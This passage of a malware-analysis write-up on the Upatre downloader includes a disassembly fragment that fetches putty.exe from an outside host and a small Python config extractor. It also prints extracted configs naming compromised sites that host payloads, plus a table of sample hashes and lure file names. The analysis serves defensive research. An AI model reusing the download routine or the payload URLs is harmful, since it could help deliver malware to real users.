seg000:04001409 push esi
seg000:0400140A push 443 ; server port
seg000:0400140F push ds:off_4001074[eax*4] ; server name
seg000:0400140F ; agnes-nue.com
seg000:04001416 push [ebp+_HInternet]
seg000:04001419 call ds:InternetConnectW
seg000:0400143F push ds:off_400107C[eax*4] ;
seg000:0400143F ; /media/catalog/category/putty.exe
seg000:0400143F ; /image/putty.exe
seg000:04001446 push esi ; NULL = GET request
seg000:04001447 push edi ; A handle to an HTTP session
seg000:04001447 ; returned by InternetConnect.
seg000:04001448 call ds:HttpOpenRequestW
seg000:0400144E mov ebx, eax
As previously mentioned the second stage is rather small. The size averages around 1180 lines of assembly.
Upatre has an embedded configuration file. This file stores needed strings, URLs, files path and file names. The data surrounding the config looks to be relatively static throughout different samples. It is unknown as of this time how the surrounding data is used. In the image below the yellow shows the static boundaries and the blue shows the config file and it’s data.
Since the boundaries data is static a configuration extractor can be written in less than 15 lines of Python. Warning no error handling.
import re
import sys
f = open(sys.argv[1], "rb")
data = f.read()
f.close()
se = re.search(b'\xc5\x09..\x00\x00\x00', data)
start = se.start() + 7
en = e = re.search('\x00\x33\xc0', data[start:])
size = e.start()
config = data[start:start + size]
print "Upatre Config"
print "start: 0x%x, end: 0x%x, size: 0x%x" % (start, size+start, size)
print config
Below is the output of running the configuration extractor on 10 dumps from the sample set.
d>upat.py codecupdate_dump.exe
Upatre Config
start: 0x1c1d, end: 0x1ce6, size: 0xc9
codecupdate.exe hooyn.exe %s%s %s\%s open Updates downloader text/* application/
* architectureschoolswiki.com /wp-content/uploads/2013/09/wav.exe gwentpressurew
ashers.co.uk /images/stories/food/wav.exe
d>upat.py fireupdater_dump.exe
Upatre Config
start: 0x1bdd, end: 0x1c71, size: 0x94
fireupdater.exe klyve.exe %s%s %s\%s open Updates downloader text/* application/
* centrum.co.id /images/pdf.exe fashionbagus.net /image/logo/pdf.exe
d>upat.py foxupdater_dump.exe
Upatre Config
start: 0x1cd8, end: 0x1d7f, size: 0xa7
foxupdater.exe juwte.exe %s%s %s\%s open Updates downloader text/* application/*
dreamzoflife.com /assets/images/pdf.exe saudagarshingh.com /wp-content/uploads/
pdf.exe
d>upat.py freeupdater_dump.exe
Upatre Config
start: 0x20ea, end: 0x219e, size: 0xb4
freeupdater.exe sahah.exe %s%s %s\%s open Updates downloader text/* application/
* trudeausociety.com /images/backgrounds/pdf.exe hortonnovak.com /wp-content/upl
oads/2014/01/pdf.exe
d>upat.py justupdater_dump.exe
Upatre Config
start: 0x1bd1, end: 0x1c97, size: 0xc6
justupdater.exe hooan.exe %s%s %s\%s open Updates downloader text/* application/
* bookkeepingcertificationwiki.com /wp-content/uploads/2013/09/pdf.exe nickandsh
eila.co.uk /wp-content/uploads/pdf.exe
d>upat.py opera_updater_dump.exe
Upatre Config
start: 0x21eb, end: 0x22b3, size: 0xc8
opera_updater.exe fjike.exe %s%s %s\%s open Updates downloader text/* applicatio
n/* headstartcms.net /driedmango.net/image/data/banner1/10UKp.enc digitalitics.c
om /wp-content/uploads/2014/02/10UKp.enc
d>upat.py realupdater_dump.exe
Upatre Config
start: 0x22c8, end: 0x2357, size: 0x8f
realupdater.exe nomes.exe %s%s %s\%s open Updates downloader text/* application/
* svsmills.com /images/pdf.enc japanrareearths.com /img/pdf.enc
d>upat.py sysupdate_dump.exe
Upatre Config
start: 0x1b8e, end: 0x1c20, size: 0x92
sysupdate.exe sewyr.exe %s%s %s\%s open Updates downloader text/* application/*
inspireplus.org.uk /images/banners/wav.enc zubayen.com /up/wav.enc
d>upat.py viewpdf_update_dump.ex
e
Upatre Config
start: 0x1ac6, end: 0x1b77, size: 0xb1
viewpdf_update.exe duhotr.exe %s%s %s\%s open Updates downloader text/* applicat
ion/* eganchurchsupply.com /images/Vestments/images/14UKp.pdd nimbacreations.com
/video/14UKp.pdd
d>upat.py wordupdate_dump.exe
Upatre Config
start: 0x1cbe, end: 0x1d60, size: 0xa2
wordupdate.exe kluva.exe %s%s %s\%s open Updates downloader text/* application/*
hotel-villa.net /images/old/al0901.exe ahzamedia.co.id /images/banners/al0901.e
xe
Upatre is an interesting family of malware. Not because of what it can do from a functionality standpoint but how it was designed. It was designed and engineered to be disposable. It’s small code and data footprint allows for samples to vary quite differently when encoded or obfuscated. There are patterns that can be found such as the encoding algorithms or profiling the code but these require having a disassmbly engine such as IDA. I am looking forward to the day when someone develops a lightweight disassembly engine that can handle parsing portable executable files, handles cross-referencing and basic tracing of operands with Yara signature scanning.
[1] http://www.secureworks.com/cyber-threat-intelligence/threats/analyzing-upatre-downloader/
[2] http://blogs.technet.com/b/mmpc/archive/2013/10/31/upatre-emerging-up-d-at-er-in-the-wild.aspx
[3] http://news.bbc.co.uk/2/hi/science/nature/369493.stm
Other Notable Reads
http://garwarner.blogspot.com/2014/02/gameover-zeus-now-uses-encryption-to.html
MD5 Hash | File Name | 2nd Stage Function | Encoding | Function Count |
d50d3d3bf702c2263d5e811867fdda66 | 2013_Rep.exe | RegisterClassExW | XOR with Key | 27 |
ce57562e143f97af26ac866d58201b14 | A136_Incoming_Money_Transfer_Form.exe | Call Register (calcuated) | Key - or + a Byte | |
61df278485c8012e5b2d86f825e12d0d | AccountReport.scr | RegisterClassA | XOR with Key | 23 |
08c0802d3782e7b24086d8c28fd8dd5b | Avis.de.Paiement_1.exe | DialogBoxIndirectParamW | XOR with Key | 16 |
c70b46ebbe517c26e3e7c4de716e8e3f | Avis.de.Paiement.scr | DialogBoxIndirectParamW | XOR with Key | 19 |
da50f45154d6857763caad81eb2603e1 | Bill_20140206.scr | RegisterClassA | XOR with Key | 27 |
968779b34f063af0492c50dd4b6c8f30 | Cas_01302014.exe | RegisterClassExA | XOR with Key | 16 |
875cf5fa804aa30cea1ba91c223c3e8b | Case 463252349343.exe | Obfuscated Code | Obfuscated Code | 22 |
026845edc6bd08c1625a048e03ccfd52 | Case_{_partorderb}.exe | RegisterClassExW | XOR with Key | 22 |
40afe219c14a0a5f3a4ddd6c8e39bc23 | Case.exe | Decode, then RegisterClass | Key - or + a Byte | 5 |
498070e7958c7b89bfe1c334192e75ea | CASE09012014.exe | DialogBoxParamA | XOR with DWord Size Key | 18 |
8163d272c4975b1d7ed578b4d24b3d2a | Complaint_.exe | RegisterClassExA | XOR with Key | 33 |
3346058c4bc09ea0ade7f5bba66f27d0 | Complaint_09122013.exe | Obfuscated Code | Dword XOR (obfuscated) | 18 |
9e3db0eb95d44a2eebdd9745a61020eb | Docs_01132014.exe | Call deobfuscated | Key - or + a Byte | 3 |
302524c7102d00d480bc52b1dc59f7df | Docs_02132014.scr | DialogBoxIndirectParamW | XOR with Key | 19 |
424840bec7fad79e8ffdbbca5e74f945 | Facebook-SecureMessage.exe | RegisterClassExW | XOR with Key | 24 |
ca2628b955cac2c8b6bd9f8c4c504fa4 | FAX_93-238738192_19.exe | RegisterClassExW | XOR with Key | 24 |
094684d808dc1bde9a4f385d3804a316 | fax_message_02102014.exe | DialogBoxIndirectParamW | XOR with Key | 18 |
c358ac9105420077eda22cadcb57bc1e | fax.pdf_1.exe | DialogBoxIndirectParamW | XOR with Key | 24 |
96362cade15c96df607a7520d398ad5c | fax.pdf_10.exe | RegisterClassExW | XOR with Key | 23 |
fcfaff4b0d8be79cb4ade0a7d62ef546 | fax.pdf_11.exe | Call Sub (standard) | XOR with Key | 23 |
c1d1799b172c0fbf31769729e959f605 | fax.pdf_2.exe | DialogBoxIndirectParamW | XOR with Key | 18 |
86b25de408e0540d74c1685140ec72c6 | fax.pdf_3.exe | RegisterClassExW | XOR with Key | 16 |
158782edc4d79247189a0bfeef21f3a7 | fax.pdf_4.exe | RegisterClassA | XOR with Key | 4 |
5db38bd493ef2f9b35bb0015822b493d | fax.pdf_5.exe | RegisterClassExA | XOR with Key | 10 |
e700e9726d2e95cbdbe15c566f08c6b6 | fax.pdf_6.exe | DialogBoxIndirectParamW | XOR with Key | 18 |
715ab0632888ec62de1688dc4beef6ea | fax.pdf_7.exe | RegisterClassA | XOR with Key | 4 |
c9b8617122a5643412b0c32a65712102 | fax.pdf_8.exe | DialogBoxIndirectParamA | XOR with Key | 16 |
9f2c757e8c945d12bef53e6d207c3423 | fax.pdf_9.exe | Junk Code, then calculated Call ecx | XOR with Key | 22 |
6b696a137abb38f0c38e8e5d762dffc5 | fax.pdf.exe | DialogBoxIndirectParamW | XOR with Key | 21 |
ebdff37a1280cc9d83d9439d782b9d78 | Form_STD261.scr | RegisterClassA | XOR with Key | 23 |
05fb8ad05e87e12f5e6e4dae20168194 | GB001231401.exe | Call Sub (standard) | Key - or + a Byte | 4 |
c77dd48c57156a20f0e32022e489546e | GB12242013.exe | RegisterClassExW | XOR with Key | 24 |
923b882c2b01b7c65faa2f8c85ec93cb | GB19122013.exe | Obfuscated Code | Dword XOR (obfuscated) | 19 |
c0660df8ab4a77de8828282a0020f5a9 | HMRC_Message.exe | DialogBoxIndirectParamW | XOR with Key | 17 |
ac107228a8ab69f8726a823f6eb5ac88 | HSBC_Payment.scr | DialogBoxIndirectParamW | XOR with Key | 18 |
436c0a92e95a3709332d4ac7b081bc33 | I_BANBURYCUSTOMERCARETEAM2@LTSBCF.CO.UK.exe | DialogBoxParamA | XOR with DWord Size Key | 19 |
1d85d2cc51ac6e1a2805366bb910ef70 | IncomingFax_1.exe | Call deobfuscated | Key - or + a Byte | 5 |
b265feb94746097c5cf578247e84baed | IncomingFax.exe | DialogBoxParamA | XOR with Key | 22 |
4e8d78480f4607ff2559d6f63c2ade91 | Invoice_01132014.exe | RegisterClassExW | XOR with Key | 23 |
fdd561ec608636f76aae69877fe3dd15 | Invoice_02172014.exe | DialogBoxIndirectParamW | XOR with Key | 25 |
aa4897bbfaa3371b7e6629ba7ddba241 | Invoice_16012014.exe | Call Sub (standard) | XOR with Key | 23 |
6cf2c54d8b1c41ec378cd84882a68eda | Invoice_18803891.exe | RegisterClassExW | XOR with Key | 24 |
e4817ae88d6d43fb9af973827241fde0 | Invoice_20131209.exe | Call Sub (standard) | Dword XOR (obfuscated) | 18 |
811ad8f76ad489baf15db72306bd9f34 | January.scr | RegisterClassA | XOR with Key | 4 |
8d31d0783c0d538a17c12e8146f2acf2 | L1_Print_DOCUMENT.scr | RegisterClassA | XOR with Key | 16 |
5705b2cdf18c80599142e5145f766822 | L1.exe | DialogBoxIndirectParamW | XOR with Key | 19 |
8a46c20d4dbed04da5bc80e1dab6e48f | Label_12192013.exe | RegisterClassExW | XOR with Key | 23 |
b81c2aba5d213dc158a8c851a31c51bf | Label02062014.scr | RegisterClassA | XOR with Key | 28 |
3032f1b6bfa575e7125b3f5ad1ff1c3d | Lloyds Message Service_13012014.exe | RegisterClassExW | XOR with Key | 23 |
81f3d8f0688e1b3e5d75f60b113d180a | Lloyds Message Service_18122013.exe | RegisterClassExW | XOR with Key | 24 |
20e7520948ee772e192127374569b219 | LND11022014.exe | DialogBoxIndirectParamW | XOR with Key | 18 |
2c643c9f035cc882dfc607f32c1b7200 | M0003485764.exe | RegisterClassExW | XOR with Key | 24 |
323951a478b688b1e8505d85734b8732 | message.exe | Call deobfuscated | Key - or + a Byte | 3 |
30e5d9d4d7da572fdef6f7253950a53c | Missed voice message.exe | Call Sub (standard) | Key - or + a Byte | 3 |
11ca47726daff2478d45aa694d52d7b1 | Missed-message_1.exe | Call Sub (standard) | Key - or + a Byte | 1 |
a4c01917b7d48aa7c1c9a2619acb5453 | Missed-message.exe | RegisterClassExA | XOR with Key | 32 |
79ec74ee848c560ed34ed4393cdfffab | Morg_061213.exe | RegisterClassExW | XOR with Key | 24 |
2fc083fd967f2411451aea04a03b2409 | MSG_713-912-8821.exe | Call Sub (standard) | Key - or + a Byte | 5 |
f8a73998b2dde3d0691f86f4b92cc517 | MSG001092014.exe | Call Sub (standard) | Key - or + a Byte | 5 |
c842791dee280513f83833fd317e53d4 | NewVoiceMessage.exe | RegisterClassExW | XOR with Key | 24 |
840a4044cf2e4a900935c79700c59b05 | Order_Details.exe | DialogBoxIndirectParamW | XOR with Key | 19 |
84a6030c8265b33c3c4e68d29975bd76 | Order.exe | RegisterClassExA | XOR with Key | 15 |
055812fa076db0db57a30952312fdefa | PaymentAdvice.exe | RegisterClassExW | XOR with Key | 25 |
eb17295496b5d69b4440873dbac6e36d | payroll_report_10172013.exe | Call Register (calcuated) | Key - or + a Byte | 7 |
a4b8af351bee32f77eff02f35fb9d149 | pyx_5815382234_1_HNB.exe | RegisterClassExW | XOR with Key | 22 |
384a104d528431337a864988b69d6e36 | RA08012014.exe | Call Near Ptr Sub | XOR with Key | 25 |
91f07d47beca3cb314c89501879c30df | Reference.scr | RegisterClassA | XOR with Key | 28 |
197fa6dbbb5bc3eea8735a3a62e64444 | Report_342122287.exe | Call Sub (standard) | XOR with Key | 22 |
bb1f9dcc3835ea2adf95a2667181d03f | Scan_001_12202013_911.exe | Call Sub (standard) | Key - or + a Byte | 5 |
df4a1d24262a7adc43320dc0963cb6fc | Scan_001_28831721_281.exe | Call Sub (standard) | Key - or + a Byte | 3 |
d46d3c7f4ecdd0bfba1046e2c862465c | Scan_001_293987112.exe | Call Sub (standard) | Key - or + a Byte | 5 |
8bdc79c8cf9804878bb694f28168e465 | Scan_091_20140901_001.exe | Call Sub (standard) | Key - or + a Byte | 1 |
d7efa5ff3ec3f2d14dcb086fc34f8a55 | securedoc.exe | Obfuscated Code | Dword XOR (obfuscated) | 19 |
687bac27f6b90d88176cfee87f4478bf | SecureMail.exe | Obfuscated Code | Dword XOR (obfuscated) | 20 |
437bc0c67d4f29fbc2299eb0f45538fa | SecureMessage.scr | DialogBoxIndirectParamW | XOR with Key | 18 |
4db2c82f41a6aa67c9decb7a78c2b337 | Skype-message_1.exe | Call deobfuscated | Key - or + a Byte | 2 |
ab703881cb4b3fbd5ee13df30b7bb8d7 | Skype-message.exe | Call deobfuscated | Key - or + a Byte | 4 |
905fb5bfdaf2434323a1a79f558408e6 | Tax payment.exe | RegisterClassExA | XOR with Key | 32 |
83b492dfb00a141c914905b024bb9b47 | TNT UK Self Billing Invoice.exe | Obfuscated Code | Dword XOR (obfuscated) | 18 |
6df3a7a39d328d7fa608c711fbaf0276 | To All Employees 2014.exe | Call deobfuscated | Key - or + a Byte | 5 |
73bef5284f8786b8289b64ca576878f4 | Unpaid_Invoice.exe | RegisterClassExW | XOR with Key | 18 |
52e0ed7eb9401e2849fc351320f326e1 | VAT Returns Report.exe | RegisterClassExW | XOR with Key | 24 |
8d96ee078ca3016b15f2c9863b070306 | VoiceMail_1.exe | RegisterClassExW | XOR with Key | 16 |
d94ec1d4a4fb6cef281ddaff59c868af | VoiceMail_2.exe | Call deobfuscated | Key - or + a Byte | 5 |
71d03281ee02db6caeacf74bb4a9f887 | VoiceMail_3.exe | RegisterClassExA | XOR with Key | 33 |
c711c6eeb5601e6a8d0a6dc01de14a5d | VoiceMail.exe | RegisterClassExA | XOR with Key | 22 |
becf7bb7d0c1167a3250108550cc0d89 | VoiceMessage_1.exe | Call Register (calcuated) | XOR with Key | 22 |
8a739776cf8316eba1bfae50e020c8f1 | VoiceMessage_2.exe | RegisterClassExA | XOR with Key | 32 |
8ac31b7350a95b0b492434f9ae2f1cde | VoiceMessage_3.exe | Default | Key - or + a Byte | 22 |
2d340beb9fd80cfd1a7c132e528ed0fa | VoiceMessage_4.exe | Call deobfuscated | Key - or + a Byte | 3 |
4b01a72d5c376a77e03e5feaba2593b5 | VoiceMessage.exe | None | XOR with Key | 24 |
d2cbf05d928ea39b17a4fc3563b6a5e6 | Wage_Notification.pdf.exe | DialogBoxIndirectParamW | XOR with Key | 20 |
4e6650d2e29110a3af6cf59ff001dcc3 | WEiGHT_LOSS2.scr | RegisterClassExA + Call EAX | XOR with Key | 18 |